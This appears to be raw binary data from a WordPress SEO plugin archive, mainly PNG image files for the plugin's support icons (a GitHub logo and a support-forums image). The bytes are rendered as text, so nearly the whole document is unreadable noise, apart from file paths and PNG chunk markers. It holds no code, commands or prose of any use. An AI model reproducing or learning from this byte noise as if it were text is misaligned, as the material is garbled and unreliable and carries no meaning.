�fo��H4r�-�Ys$�Z�\t޻;�ɿ�|n������JL%�D-���-JԅC��G��BU�s�D>+|Bsw�_�w�N��[p��G S�"M��b����r	uC]?X�	���Yj��ýM�����B܄���nx��i������1�a\Dk���Im[��+�Jx�������~	���y��θ+
EjBK�`&��)� �+##��cWXd���޺��|��:��(�C?��޻��>�ߤp�ף��<!�"�3N^�e6%d�;c }��[�`�Y!XY�gt�͏]����{wr.4�O�w-P�H��DPӉ�{V!u"K%�DTL��H�!&K�4d
�7�qK��ý�>��1Sό��<:at�Nۚ�h��!�ղ�tak�1+��4�C5����}o�c��,����95�eB�)���B%w�A��%�}�wo����&t�]-.>^��]� b�ml����/[��s&b]�~}6���%�V}������9��;�	������t>�v��E�t�_4+����$[�(�Lpzd�qmL�7��/�h
9ӄ��¨	b�
��U��_�{mكZ�	�E4��?<��y��	�<#<2]WS��H��{�Y��"j�&�s��߻�X���+���>�?<!"��Қ��gzX�9)�܍��$"���[�e–	bF�
̤�ʤ�%Vx��=��.��9�w�·Z&�W�s�p�l�Qfs��k�3�P�����L=Fֿ���P�V� �o?y_�ߨ��O��
3�AW#��
eB*�	e�4��0���׃އtZ>���|Y/���'��܊t��_��	a���$�-3/�5�A�w�2�c����>���L���U���*�L��"]��pӂ4kG���>t�M��x�mn�O��pO0�a��2��'꿖*���W�����})�l�>�ƙ�'�OQ�Ȍ���#��4�	��5���e��1�W�uB��?em�n����@����2�O��g/^9>"��k���|B�Џ�����Fs�e8�Z�g�����yw�u��&�I�; _��n4�xű��&�#I���{��<*/��u~|�	�Pu鬷��3���r��N�ȁ�Џ'�d�	��t���s�{_�lB?̅:��Fr��X>�]�	�8�ĺ\�|仡����?�>�ЏW��=ur��z����E罣C�M�ǥNE���a|������_�lB?����o��ˁ\�;_��k�	=&�Z��=_U�R
3�y���޷���	=��ϟ�=������G�����y�߂��wq�v]@~�y��ǵ�wb�M���^�ޏ�t_�2����迣�j��ҳE�����oD}̦u��u�tDuø)����q�G���=���y�����χ�����~z���3�V�`hV��e$r+�C�Cz���"�0�7�RdG�Z�z��C�zǥ>������[�#c�O����C��zfk&��D�t�=�e�+2�>ü[�r�iyJ�-��3�5��a?��	=�������ڟ��W����Z���i!d�A��"���P
ȶKx��ׂ��H����sЖ�QQ�Ҡ>�ѣ�3[�{o��	ϭ�Ȭn���	1�]�(���f_
����t�?rW��O��Ÿ��ߵ��#>tΐ�TS�‘��*�����;;��
�Ǐ��S�	�Zu����#�?4��Ad`$��+A��~�˽��\��S����Z�����cUm��Q���V�
�lzg��Yݬ�:w�G�u���ۏ������?�=뗚����Z����BD���[��"���	��
a��Չ���{u���w�5���-��;�K�+�q��b�U��r\�sD�i8���
T͠Z,�Uߡ�����w{.���T���߆>.����]mm��Ǟ�O�N]j(��]I�pb�A=��3|�i��o�Q=m���޶�/����}��d�+Db�u���s�	=�fV�l��� ^�DĞ=gfq-p@%s�G4�̖����
<�9}�����bܸH����|@/�\z�ҏ7w��ot�@�4�+?D����;���j@�z~D-��{ou��@�����9�	��V�s�5���#��PO#V��B
�D�ȿS{�}î�;�Ƚ�D��C�c>��NA��'�C�?���?]�%�H� (D"?]-b�-�3gр޻��<2g�?��
�yÌ)�gh�LX~�GfNb�Dˀ�v彅�E:T���=�ߛ�O�=��U4����	"��}t�c�&*Kw>7��-�Q?�lE�`�>�����ɛ+�"�,�w�m^�����X:��B�ࠖk�T���n����Z_�e���5��&�ЎpG�`.h��;��潖kz,�3�Sc�����F�ҍ�!��9�ѡ/���e�|@?��L����[�t�Y*�̄�,=3�'V��J��
~4�C9�ȵֵ��/��
�v�'�f��g��l��
�����5̕�X5�]vk��x��h�a���5�6l�ʶ�vO��({��`����V�λO����peUY���ؐ����@��!'x>2�z��1�ͷO3}��g��$i��wDp(I
�n�]U�
Z*���|���l?��G�"L	�Ǚ2�E��<Ij��C�hum����E�+K�l�E��y��@�֕�^*�e}��ݦ��c?�u�^&�p{���ޞ�ӊ�����������=Ajl�v謬m?e�;�1e'��x�5�s����m�o��C?���[��mn�D�����)I}�|�Dzk�Z�v�ig�9w��/���˅�{��UO�[f�灠���9k�nzRn?~W���`�����?��o7�w�\S�q�3V�����c�Y`�����B���	����_ݷ̼z��A�+�m�.7�K�e(�}��'�{�*���~���A;T�jˣA?+���r�P9)�_V��n|�r�lBG��~��w�Uߪ���ݳw��������0w�g�硇\�m�	]��>��a�|t�)�cB�����q�D�ؔ_=��O��&�,�����������=ҽ�,/7xּ؏�uЍ��U�	���;p��y��h�]+��g��{�fХŸ9o�,g*6��)iB�5!�[f���5�!�h�]�PЇ�{@W�BR���Z!��&t;4CU�LWK�H��"�����Po}�b ����D�P�I�Z~X
L��B�kfB��4����/��F�m����-�d>P>9�yHU�ׁ���k!�44VV��X�c	C�S����77�o�!����M���AW�m��B%�q��s��;mm�9`����q/� ��&V�
�8
��ijg^�B�ӼP�q$��h}��:���4��)~�Z\��I�둨O�C}gO��W���]�/�-2��֏ZC-G!�iU�:��B�R"3��n���Y�[f��ʐ�@�����[B/��WW����fBǦ>�S�{rb��z�g�u�-9�I��ؕ��*�L�J�a�5���G&�A�r�o"���t�	t!��ү�ޔd/?P�O}��{�UNs�^�ȫ�<[xz@��8��!��K%z@�&h;���c#X���Ǜ���;+�n}!�m�ë�{!��“��T�����2�|�<�U��Hk0��2Gvn��}ˡT̅�zSr&*���悚砛�G��I�T���@��/�Ҥ��g����<_���o*L�m�!�e��C&&�!С;�pU����)������M���
V�e��:����{��k
B_}�m�c?Z��
�g���^8��è*�:u^��J\?'�ݷ�do@?'7�>&�!���5�(���P��b��I� _��jz&"�ȏ��������r:
�z!�gu�������\�����ʾ���:��]@d���)��]�~4?}$�<��_�裐�?�^���9����hc�ۿJ��
0���}:�c0'^�j��,�H�	}a�s�ko���\'��%�tb/��P%�fx(r�\ʩ�s��ؙ �ۿ���*���!=��!�w��lv�.��^N��sS��31g��|t��Y�\;q'�]5��W��j&WR�M���|�<�h��|�e� �:{��/cFp͐�_�Ӽ\��{m��/��ݹ��
}(gE���,G��j�f�
��_��R���9��n�$�vt�w�/�>	sky�vz!�X2���Djv吞�9�D^�{m�ys��9�w|��W�գ<�Wb&����t�uׇ�w-a@R�z�w�M���8��ٿy���A�*���i���G%l��wj��ǰ���/���~G*k��jݵ��^�4��7T4����|z�O��y�t��ǻJ|\�_�_r����ߚ'~x��@���KEs�a��ĕ����G݀`�$����k�c}'nya��XբE4��s
�2��!���J	�:q�%}*O�b-��Ab)?]y���F�j�=�N�͒��%�� �n����ry�.�7��t�SXү'��^Uk��w�ϖ�KK�S��L�(�����В*.j���hNR�g-w,Q�s@_��:q%�E7��^�}���ώ��/Z>Mf��������WP��R���
���#��<����]���r�^k���|Iw�-�'�R��c��ϣ</�}ѳ��jL��E����j�kU��~�s-�{��"2W�>
���%�d��V�qڱ�+pA
w8P^�kL��]h�(���r�i���\���Cȏ莊��JpW���%}Y�/_=�
��4�R2�<���1�n����̲�㻢'��k��ܭ�DC~t@w���烻ڂ?�y�#:ފk�IP춠[���ۺ�qA77���.�\��|���9${��!�q��`�ݪDO�W�Q�B7�qp�@�to�E���C�M�4U�.�ҽ����-a7�apW��.n��M�s�A��jC����ܭ4�
�z��'���U��3��%�q�}mE�<�SA��JϽ����N�n�h���Jz�G�M��u�V�m���w��%�w��n�w����~y�o�5P���"g���N&��x�	�;,n��U�"�7��з����G����>b�2}��I��=�Ҍ��ި[Uv��/�ĕ����H4>���(��̹�G���;���=H�ʮؠފ�^�@�5�=��)����FoN�<��/B�.�$��o�MVC�a�ĉ�+�@��@�ķd�7'lsr�bO�Tu�w�8�H!Pz��;9P�R�Ş��ŵ�(�S_��ym`���آ��@t.�Z(�*��z�S[<��M�w��=��ܭ�w�iiHsA��k�'��E���|���H���炮�_'�eAW{��w���-i�e�)CuЛ詅��
�Z)>M��n/�W'l�V\9����:@rl���3t{	��q������1�:R �k�V�e�5���cz�Xp�YxO�J,���+T����=Q]D��-���j���K3^Г��ت$w_?�"Ł"[zq��l�ֺ�K�ꠋ=wq�+E�jN�(ފXL��t_so��N�ܭ�Z-_A7��s;.�7��
T�{�u�v���Bq0��	�/ˬT�:�[-j-��K�*�C�mm��\l��b}�kZ����W_�ٺ��cX��Gt�T�՟�r����.	��M�����r���z�R�.	�lwD�
Q��h���k~��VG�mE�Q�C]	�y;wS�O9 ��M��-ʢs/N�E�ގ��w������Oѳ�ɪ���^�7�Q~��ɝ��.TkE�y��};�7����E�@u�T+���f�,zw^�[M�M��e�h�h&J�z�e���{ﺹ��(�.hp9��T�S�;vݺ��{L}��D�B>C�\�
Ƣ���3��t��n��WZƐƁB�*�Q������k�	���vrHj�)p͓��z���d:�Z�d}��)����Cu.z߮KX9���8�G�h��4���T~����z>JIH�r�^]�g[�E��j�2�
�� �[Gd
�L���dv�������Sw���A��$������yoH���h��%�d�Y���F���h�(G�F:���]"%='�4F����2(�$w���uD!�}:܄H����9�E��q`�=��{��t�1���P��P_n?�醒ּ�:Yo�5�Öt�ǁ�n��u8];��SZ��*�u�tWCI���h4;���t��>�.誽L׎Ǻ% �O6Ì����
�"�+�b��qI'�t��k��]��8��������}����JÒ�~k��ڢ�Kct���b��VK��HirǾ���;����ڢ�� ��q_FX��>�pq�E�c���W��Z0�s/��(zޟ�b�oI��f?H��]��ֆ5J:�ŵi9\,��mE����ѻ����e�Y
%t*z<U��}���OsI�@�!��cte�f��Ct��둖�[����_�7R*:����OJ:X)�c����A;4M�֥��.��l���v&:�kN��8����Bt�M�t�Av
�{�踍��^dw�>��5��;�!:�;h�ܭO��.E��4���l	�蘮m9Fw&dw�$���Et��]�}I���;�u9]��5�n-�;��6���ڶ`���V:hߊsѕӵ>D7��Z�离�ؖH\�
f=���A�V�܋c���kC���n�+l�m+�EWf�h����"UtC;�mŹ�̬�L�8��E9���ש�mÎj�(Ut-]��|+�R�w3Fw�s�_t1dw�]r��b[���z�d�����tP�u�ń���y�]��]�κ�� :h5[�1�lD��\̒}�z��Y��:oŹ�ځ���5�o�Eמ�;Wgk�t׾DY�t���T�t�ܳu+�b�6
)���.̺��݊sљ���5��?w?U[St\a��8�'�l-��[<=�~�.���
�n��z*9�IEND�B`�wordpress-seo/images/support/github.png000064400000022410147510273100014330 0ustar00�PNG


IHDR�����<PLTE�(j�0Il%H�@n�Kf��I��C��O�q�����������ҵ�w�'�{5��(��NG�& �	�$�IDATx�؅�0EA������!�����(1�y�aH t�#t����1����1���ЗtB:t���C�t��AG�t���:BG�:���!t:BǠ#t:BG��#tt��}�@��c�:�c�:��s�����A�>q���1�����9B'��0tJ,+1}��ɥ��Z�{Z����h�L�;�%�M%��Q��(��]�zvz��0�:�_�^�dR�ԒTs��f�j���F��OǷ->_�M�N�x��*��ȥ��`�O���]ֶ@���J+�]d��ki&a��y����׈�Ur�Nѵ�b@���q����ZNb�St6w]04Xޚ�9b9]gs�����D�Ct�P+שB�!��o�!n���X��l�[|��G��\��Pt6w��6����	�:��Wd_����4���J+	�9�-�/�K/��ߊ4d��g7�����X��7���mώ쿐�h�L�~��$>;����{���p?�Q���	���]�?��=P��%:�t�:��2�,�Kt���C��]9~gs�-��ٛ����b�;�;j�=��BX�Y�)���.=��g��w���O��ŭq��oP�k)4���\�{���[�$���?�y���􇕟D):�������6��v������#M��
(E�}���{{��s�>��_0�yNӹD�D���{�n:=��l�X�y�ܿeco�e��l��Aq���AE���9���W��.:����<�M�sކm��=�KE�7��z�)��{�/�0��Ɓ;G�m����q�@����=�蝢�K�mx�7�S�y G�+���x�[��=�Z��>X�Z�|�Q�9�/���Ž����I�В�|�WF�/:�莊{rӛ25| n�od��N���_��/��/��j��9���1yGѹD��}��(/�!]W�ʁ����\�o~}�H��n�$C�Y���S�^��O��>o��×V�y��(�m�{�[��?�;�����G�U�~��𷝜�-�R�7wGŽ������!�&	E$�{M^��3��Ct^5��~��.���͢�:5X(��J�t�!����Fz=��4H�o˼7a)zE/�]O�f�t).�t�V)zi%��Fz�A�"�����O�R|�n��t.�?�������Ȼ��%�ӷ��t)����/:��}�H���^��O��m�@o@�t�øR*E�������ܶ����|��-:��꫹S����I��O}�5����#=�o1?O2��l����~jM�H��,:���Q\��4ͽ���ON��0�}u�ݽ����9?�N�ӤK�Ý~����[��ިs.��A&i�nrT��E�ŭ>�w�U���Pt.�q��ͽK�H}���Us�aܧ�?<ՋL�o�D_f�}�KsO�v�F�o�D�����Z즇t6�R��ON�Hn�����:��l���=�H��܋zf��E��a�����ݑX���y����#z|7ѳ�C3E�����}��pƝn�R:���ŏ���D�R���KqB�w���.�(�m��⿸OxH��“_�[�Docu��]�3E����}�@����N�Dw3���'��<
E�]sW?���3��ce�>Ys_݈݈Ύ��7vgs��]ۻ ��.N�a6x�Չ�q��6�vM��{#sz�\��49E�Ws���N��ߋ3�C�D�gj$��	��t��w,�y��W[���S�s��h�=��5�"zt":���¦D�Q�"�}~��^)��3s��D�,z���Lt��0���_�w�N�;�i���.їU�w���ս�ֱ�=/>=Rt�{t����果��Sto�'�~��W�(��z-Rt�W`):�O���ND�)��Z8��笍���.���@���3��'�u��v�{�D���螻;��k���w��P(����K+���ޙG�W�E���林�lS�&=;m��_RP].ѻ��\t�HO�_��<�.���D�=��_(V��}��Y����]��#g��=muLs_�?����רϩW)��s�q\����@���rg��8n��ۉz�]t)Kr-�I���8ux���4n@�_tu��,�7{\��=R����B�G��4���@�N��aw׋�Dї���m9Êtћ�å�t��ֵ{s��q�@���4�H��_�\��3�ߠ�������4Q):���.����S�P�姖��d���C�>�-�'{��JB��8{���8[�Kp�������c�}�-�w��ͽ���t�<E_J�k��ߤG6�cf���$Q��CF�ֵ�/��@��j����^��c��k��^��l�@gsov��#���Y�����~�����Q����4G�_��}�����T�J���:���+��ǝͽ���Mx^EG��t��vV:)�ԙ����n���8O�K�+�d��+�I�
�oB��w����c��t��7�SKtL�G6�������J;Jс�<v����@���,u��v��#�w�Doge����2�.Z�C+=��{�D�Dzd�7��,�l_ʖК��(z;���k�%:(�w���/�n���SAX��Q,Ptl�������@G#_��K�5�%�r���N����������i�s�k.�xPt�X�C��h����a��5�!ǫ��h�����#t8��h]r��
���\D(�1��k�Kt��ܗK�L�%���@��/�T|sG}{����/��b�N-68�)��[z�KtH�����킹�"�(z�UzB/�qDρ.aF�k�3����k���%:�$��צgH�
&�)����H6N����J.�Q�)�-P�>��ܡD:{���~B�鉢wz�E��}�"|k
M�&�3�S[9I��8΀ͽ.`6w4��_C�t�$��+����%z��Ή{b����8�pTa��:<?�;��Ə|���@�;E��������ߏB����]�)z���S�%:��H����K��
�<��S��.q,��y@o&}���v�K3utq��zY�%z��U�-gpI�ZUE��L(z�q܊i�K'V�:���\�t��)t��G��NσX��@�����6=rw����@�h���}�NϏ���u� ���Ka��8�鑞F����q}�r�^�Kt���3/�2^t��}��]�Kt�鑞�!w4N��)z�����V��)�o�]��St|w��iz���9�N�(:�zzd^�Kt��-r���9EO������۰�<bM��(��WuO��㰓G�_��M��
���T�֜�G�G<��z�Ԋ���|_��K�'�%P��������1\�y�D7	}�-�j��^�Y�
��!�9E�����׆P���L�ׄ*���ǭ����u�9�Ht
��z"��Ddz�s$����B(�z��g��c�
ŝ�7�c��I��}ȇ��
[��	!l�'O�8�
L�*�������y�_���Q�n)�ލ�;2C���Qs$:&ѳ��P�zP�䷹�6j�񢏎s�����os�b��CNꂩ�*��wƎu�ⶹ�?٨9�*��D��)�R6�]�?����Ð�HtXk����X�����I ���Ct�(��q\�D�:&ַoœ�?���_s���ƧX�������UL݇jN�k����(.|����c,��!�{�7��4��=�mm�#9U�����Eo��7���c��8�u
����'��_� "�x�c�uM���;�>z���yx�B�/������0�	���f�ػԶ�0�©V��U��_��B[IT�:�{wx̯Y�bU�@��u\����x�E?_�m��� z��+��� z�C3-=�k�@�|��/w�����R�#�@ѳSz{i�]���۽�Gt���o���.�A�f�g�9������D��q��]����:.�t=\�Ft��'��E�xr������3��=���U\Zt��%~��D�ӟdD/�R�g�N������]����P����D�^��s���O�/���q/���,\�9�>�v߯��A�Y�{
i���D?CxD5O�}���������)�d5?�;�A�p�/����� z����8<� zvJ�{�t�=0���iѝ� z����<�s���ҷ��>��|�3SzK{�t=����ǝ� z�w�yϙ��ߙiQϏ;�A�	���=g:��~H�s��蹕m��D��!�&=E��oΌ�W_@�wrՈ~�����X��D���k��At�����_��L��9��/Y@�Kj�|@E��>_�K z��#�r���}m���ro.����]��\����y�.ҫ��7f������Do�@�oTq�K z��"�eFt}��"����P��?f���D/�]��̈Nto��ݖ�eFt���t��fFt����6�g�"}?7����8u\�kD��2n��щ�q}���v�3�Nt_���/��ow#:�}�}���,n�zrD':�G�8�{�u����j��w����0��S@CZ0�/[�..��V��Y+i7�(�B#�������k�F6|�k�B�s��Mt�P��_�h���,�����+±M%��r�\}܍�����T���L
��7OE�K0'4G�w�D3�^0cïr�����!��]�ۍ�����t֗���|b���zr]�z��T�85#r0\����v`���Op������X}Cl��}B�E3dЋ�2�ab�qЛ�p�䠟k�<�s����r&i�/͓f*�Tz�~Xh�]~�Ŏ/��Ag�k՜�zd�{�.��1Z>@�eZT������oǜ����Ԡ{����ϛ=��qD����K�lT�~낈�������Lz��p�\��aw
d�+��\+D�٩
t?�m�����WΖ�7�փ��+��dқ�v�F$��D�������� ��(��
_9wN�^��a�ҖL�%i�AIW�zT��0z	�9? ���έ-Ћ�q-���K���['���������n����OT����uԕ�yaAo��k��]Il�m����
>�}�y���Ֆ3Z�
P	:KA71���:���o:�0�Yi�h�a��.c��^h/`r������'���kx��O*���
��Z�7-���?fu����І7���g�Z�ϝ,S���'�q]n��P�^�#�Q��[u����)�FU�}~A_�Օp���+
�<�O��]!�R3�O��	z�o�
t-�x��*����S��Ղ��R�^ᔷ"�U��@���q��率2���r�OSQ�*�cS���1+�a��|>���
:���EL��iE�>�Y
:��g�^�H������,2��f��^qGZ#���-�.jQ
����&�R�^������?�뵞��s�wib�s$:29rV�lt�����(=���s�~�A��Vp�=��.=���r�-N]NJ�N]?��E�t=o���t������f��}�H谧N�U�V������ń���v�h��/БI���X��sz|�h��A?1�6Z�β�֢]�%�8�i恼�؛�]�4��&�jЃ�
O�n�T��Ao�����ί�ݺ�)�}t!��\�	�_�@�рz���:�B��~:��:�	7��A?!��@��\����+�U�d��8�R�U�pMz��Zi:�
l[��5�t?�Z�GG��{�<�z�׽R��
�Ui���k���8����c�/�=��;w�U�ۓ\=�:�@��-}��]���A��/���C̈́RS����Hġ��
lVz�u�f�5�s���A��=��!��df�I�����[w!�����V
lA��d$N� �k�Ik]乺�8��ZF�E��
t5m�u��џᜣ�\��^�3��B|Ua��3]2���:+]����)���{�"'��w[���3����W-�Ry�]�	��ܝUxBY3E�p�l���˴S�î�8�Wt-�(]��UJ��i׎{��<wů�Bs)�{�&cx�xD跭]�;�k�C��UA1��]��aY��*��'SN����qŠ�
��ܳ�r��R�k�.A��=6�L\-���فbHƬ���S_�pn�˘�#�9_��h�MS3Ez�o�#�2��_�ۣ����k���I@^�k�.A��yb9�ɢ�΃}tt�k�gE�x��a!��dyA�}�s?ڙX�^�cj9�����M�޻�����ە�w�t�����k��}~����pd¬������]<^��P�t�Ai�x�I��%��8K{��u=9��D��I9:\��9����ѯ9Η�'����xm�0H8I�hɄm��΁]N�����q�Sѽh����������¥����z��Gm�q�"EtNo�@���]�j��0�l��<!�u8�7�����;���r�d))�x���/.N3��*z+��"q��
�	���m.�θ��@b�s3�4�1)�F׊��/8����|��+���Z|zb��*�H�_��,����c�C�&c�'�U=�=�����KЫrf(ɠ&�ζ~�Co�����Wx˂.f�<�_��mrEg�\�E��Qvd��N��p�c���<q'��Qc�]��1�P�Y�
+�^��w�zoH�
?��sx�1�Ml�+C�I���Av=�L��?V��ʔ���4���l@�q��G�vЪ��1��O���YM�	�gߝ��0��k��I��3��#�5����$�2��k���w(n�@���,h$	����e����xc%��P�\s@�Y���F@B_��������:���d%=�pa�t>SGv�w)*��e���|R�4��2�=o�:��H�yo�_�¢[\P:�O�s7G�[Xd���tۯv���}�����XtW؆Q��m�۠�TV`ч9�����w?mDkM�`�-\�χN��,z�•b?�y�����X�D>n�Μ��3����<�_��h�7o��E/���E�'v��'~VEb�s
ȧ����M�=�-�0�;��z�cы���|�9��^T0�E/y�|᠏�Θ���^Jn���ѽ�w畏��D�۶�!�b�~#��tN�o���Q�?���ߞ`2�L�o�A�]���A'tSq��tBϮ3't��K��rB�s8(��@�t�&���t�A� t�s��	 t:�7q�3��3��3���9@���9@載�3�'q��t�\�R�%O�:���ꏲ9i��t�R����͏�����{%tG�ԛL�Z3�	}?�r�����t��xz*seYDB_������벱�
�롟�ţ;�ӹ�=�u���H�K�&��a��E't�=h��m�W�B��t裝����-'��P�sђ�o��[���Ccd�0��զ����4��[_3W�׀΁΁�n��>�סs��3��5:́n
�5@�/�.+�&tB����rn�'�B�_�]����~ȣuy�xJ\�;M���#��$줅��wC�E��1��Sg�?�C�����ý)��L��?)��X(��j��ߑ�y���|xq�[�	�2�|>�P�殒����Q�5��uB���V��k�4ѱLaQ:t�j
��[�)�D�.#Y|�V�atG�:S�^<�@��;����������z'/�~����O{�k�����_�ơ���C�ЏwN��>�|��cY�{?�n�C�I���<��.��tBwB�-��$��嫦�KSV�X��RB��8�JgSo���ս>��W'��:���AռV�ޙ ��7C�juk��'�݃�>��B�����@��W��:�pS%C6��p:���^oj�~��6�ޤ�u���q���V "(7�	��ŝ�S�}�p�
�����Q�{��X�������q��0UmP^��?�zU���X�
��c�B?b�'�t��Tq3���g9Z`��D���a�;O���/Agf·�~�QWy�'@�\ݱv�j#�#���D�W��k���=wu����qU9>B�,h�<�
t�D^��	3���}��T���N��$88�J߆��o�]��uo�<}uO�Lu�zB�F:�0���]�x��"!KX��&z{z#tB��'��<>y��9:m�����������3th�I��H��GI�W��OtB�d$B_�iq�?��5*\�	=��G�C[� :�2}�՝�O}`wg�;t��a�<�N�3��t�#��W����E�3���R��wY�y
,����Tﱺ��t�}&�.��iu��V�B�~�g�:�M�����_�
�+B�	���G���`PԷA״ս��<A�~�~<3Ns��tu/u�>3ѭ��kz��-�1��̃qs
t�h��=���L�xT����M�[�����7�\wo��*���ӥ�[TH�O��w7U~3e�;E�s&t�I�t	�$A���������]2#��<�\w�t�zI�.�0�EӠ��M��ګ@�������It��S��.�8��O�LuL�(��[���Ƕ�;�Ʀi���o�8�̾�p
��C��t�,�R�V�&;E�3��r�5���t��E�g��}��}}y��6�K�&��O�F���k>t���>HY�&z�p��X��8B�p�Y�0\�[�VdQ��4�@�	+�Hnk�o��]�f�u�Z�=�A��7p��3���O�BQ5�O�ִ��
����ŧnz�Zݛb�)j�Q����{��I�;��>�(�������PU��.-�.��s�̗g��B7�P}tx ��t�x`�A��9}8��%�àõ�)]�	}�.�J�:�I�c�:��H��:�B�:�O�k���s������4��?Ӝ&�2'L����:�L�� ����9t�\���9�9<�MݠC�A�t(�9�9�Mt�A��B7�P`�A�:�w�A��B7�P���,-<�IEND�B`�wordpress-seo/images/support/support_forums.png000064400000040337147510273100016165 0ustar00�PNG


IHDR�����EPLTE)��J����������̗��m��+ii333PQPU[=A���@)"k95�\;�r���ޯp��T�gNb6�S.@UIDATx��7„ �A^a��?ce��L���1�9�����B�t:P@��E� t��(��t`
Q:( J�D�P_�B���&�CUY1��n�+�*kσ�u�ʆ92PR����O9�Ȏ� �GӺ��{X�Y�>~�%
*��
MT�w߽�?�4��L�ku(�zZ1��ۛiS�X[��M�r��V&;����}/[3v�+}�9��W�ᘎ�/e��3N�e��Z�ۥg�п��N�y��{g�Β[� �Q)���++�b�uO�U�?ez�
��s���]��!�{��
J���_�g/9
!�X�1&aW��Aݝ��ܝ�J)U���C��G�B]	:�3w������e .���%�\�~果�1��N|P�t���~���4�z��%誄!O�}A���{h�ċҕ�t�G��|�r��'·���=�x����m�
E/��:�볆zzK��+��6>t�0��j}�k)�ɩ;���+.t�[��}�Ȫ{e��.��)��>�/�Cz/}|{
��6AW�GL�A:�:�����q�)	�z����ܠC/���YwG$.��
��>�/����㙻#��	��,�:����������t��tB�4���Hr� �M�I:!�9�ɞ��+鰂tB����m��Xϥ`6�sR��^y�ޣ�6:!I_�-��
�K_
�	���x:�]�����zA��eZ�WM�?_�΂n�;�b�0��k���bWN��������c�@�!4�S��+�#�K�bQ�
•/\Ⴎ��bI�����u4�IJ��D����	�?�[BW��R�<�l�鼌ZF*:����pA�%��ad�6A�y��۶	�\ߜ�9F"��R�p���M���6l�(:F#����j�aM���1��^o�
:&"/X�G'A/�Е½�cz_�Ё�?w�{�:&3}	�x<.���22��͂ok�a}�ƿz�?��Mq��xt�H��9������W���!D����������!�J��]~���n��=�5�Ζ^9�T����nkꢷ����$�+��b9�#=!G�?�Z�b�?��s��d+�ߚz�C�x����aE�l�k��y�iπ�Z��%{����GH�����q�:Dj�oeo
�6�m����^�}������!�#2O��Ǘ�#�Ss~N�(7q��ua�1s��e�__w���^����m�)����G�Rb�������iݡc�t�S�C�l��g��7ޭ���&�Wy�q&�;v���q�=��yJA6?G���p~��A?$�����������o��Zf�-g��-=
�h�_����z@Vz�����E;��/���\�Pz$@G���Ơ����.G�����s)�3]�G���ЅE�
J�N��*x<�re�C���a�c����ٹ��r��7e����������x�<��;F:t�\Л�L'�2hz�=ˉ~��̑֐�\Yb�4��[��8G�;>�C:���q�ڟ�|�vHdž\7��vG�Л�Э�-�
�e \���*�8�s���x	�:y�����q1�
����[��o��}�6��m�}�FT�mwę�7R�>E�܋qJ�_i]��P��u�t��t�v_�m��>���\�B0G��y��`E��t���Bo"���@㏼/��o���9�wkH�v�NKk�6�s4�/>�q��YЕ^��T�*��P:Fz�vh��Nw�F�=>S^��*Tm7`έ��z�c5H���䴗C�I���D�����/#p�7�9g?^��[8�?�%��:���->�gr��[m�;G������k�q����u8�rAw�f���ٍ�<Лe�.���k�'p�u����:v�7���w���}a�۹z:Ӛ����k��4���~�'����@�r��5���:�A9�7B��ޞs婗�'v��`��D�лL�����Kg�@g9���%��s�S�s&�r_f��c����6��{23�jG�z��&�΢�$�3��!�y(]}<�.C�е�L���>��u��2�#{��w��>�[p�7�v#]k\��:�`/@o�8GzK����$��˘C����*�˙�CoP)���c�z���3:Gle�@��@N�=\�7�Qח��}(�fg����b��)�@�4$��+M�	
��+wk���AG���z�tZ�_9�9�o��b��Ł��g�tս�r�|��8V}���� ����ޠ���҇����@	q�e�)X��}�S���ac��.=��}"_�N��7�AgJ��[3ѭ���Z�Ё���tӽ�rG��)b�%�\�n�g����9ܗ!��=�٧���
������_6һ.˞�b���L��+[f2Ao����r#}��Eb����:%?���@7B�GD.i���}"?�e�/C��]�a����2��#�oZ�����^�u)5����z��m�Aׅ���36��Z��c1���]'DG<&QG��:?���One�Q�EO�ݣ�U�n���]cD���O���>�n��z$�ғ�C��:��Ho��,���μ��uO��:/Ɲ�?e�>�[��Rܭ�rt������(ᘭ�������@;Z]~�%z�W��W�9��rW�;?���cW�Y��=+�U҉!]���A��7>�G�?g�>�G.�������$d}}�/�3�)G��c垼�~C��:u����yv��:~�
z�'t�ט
�5AWb��?o�w�,�i��♂��1v�����
*1���Vt���w=�c;N'��1=��R%��/�(�y$p.B�h�9��8���>��?]\����"GD9]#~|�.p.�0���3o������B����.5�H�t��s��吣�(�G�z+r�:�Iy�}5��y�i�Do+�A�~tե6���`�lg�#t�@F<z�8FY�����#~�K�ٽWu�$���k�	�
�����i}|=�,tO�ZO���=���V��8����ƙ.9;�J#G7�D��Ku�l�e�l�wa��6�k�/����-�7,ܑs��%�8�^؋�V��נ3�Yv�~1\�Ͻ)�A7r蟰ס=��
A��^�*�MA脼e{�'�]zE�eN�q����1K_{��}M���yt���}�@Gl�e�;�/Xw��GB�ЫH7�[1'�7Z��͡�c��C�'m���.yI�7� ���]W���i]l��;�__@��#:b@_h�2���-�o�z�{@�٠���/Qu�)�CzI�c,��B�:��+ww�#䜵�%Jgg�ǎ=��
C?e���w�?���?A��f�m&z$~�=$���p���,~��T�z���[^���r�m%�]��U�S
tG>]��<��+2ѱrG����=���}�5ҭu�N���ҫ��d�U�W�V�ݯy͊�I��fe��Ӹ��.ӮD��Z?��ss���s�L�^� k�ҙ_�n�BW���ꡛ��]�/�������r��x_�Y�o��$�xn�t7'������u�Mw9tS�Tu?/}���zf��Cz9��-���<�e�G��y��g�9!71�s�l��o��χ^��;��Aw+�#�FV�Mr��/�C���_�܏]�]�QX�3��]D�4�_�ޕ�nA��C�A-Kl%��
?�o��m=��Ҵ:3>��teё���?����8r�fz�x��2�G�]:�w�t��E�v=t�{��Czz��o��.yۉ+F���#Н�6�П�.*������Cw�C��������8N}���9@��ЙB�w��Z�W{>!g���s�A�yF=��^t$�nU�+wm����;���G�L��r?߱�FRf��N�A�N8�����-yK1�L_�����A?�����/�}t��>5��A��@����	w�q/���_h���^%��tW7���y@���8�u���`u�xo�e��:�]ɠ�t5��I���=ݿ���z]x��>�9��HG��-���<_9��C��Љ#���]��?t�u���C3�+�.�ƺ���t�_�4h?�n����=-\��؍�&��;C�Ht{���v]'�n9\0�s{4�Ao�Cw�:��+"�҃��#��?[@/i}q��7�n��q��>�Czh��[	��-��bZ��˨|��Mu�@w\z䖜O`yb��&k���Ђ��/�3��o��ҭ��u����~ܳgZ�[B�D73�wm�O�K��WH�1W�cjP1���t_�_�u7�t������x��#��j��D�Uu�Q ]G�ݘ-��^�z�yz��1:�C���K��%�v&��&�_a��}�H
��o���OF�������e�w��tׅ�4��{ͬ�����E���Q�$��
:��zm]�y �$]G��|ۡ��t�<�O��e=��^G��
��0�Ӥ[�=�����휸��j�n�M�=��tT�
��I�[CO~F�wN��ʛF����=t���
9��/�����!�=�c�]~�^-tu�Y
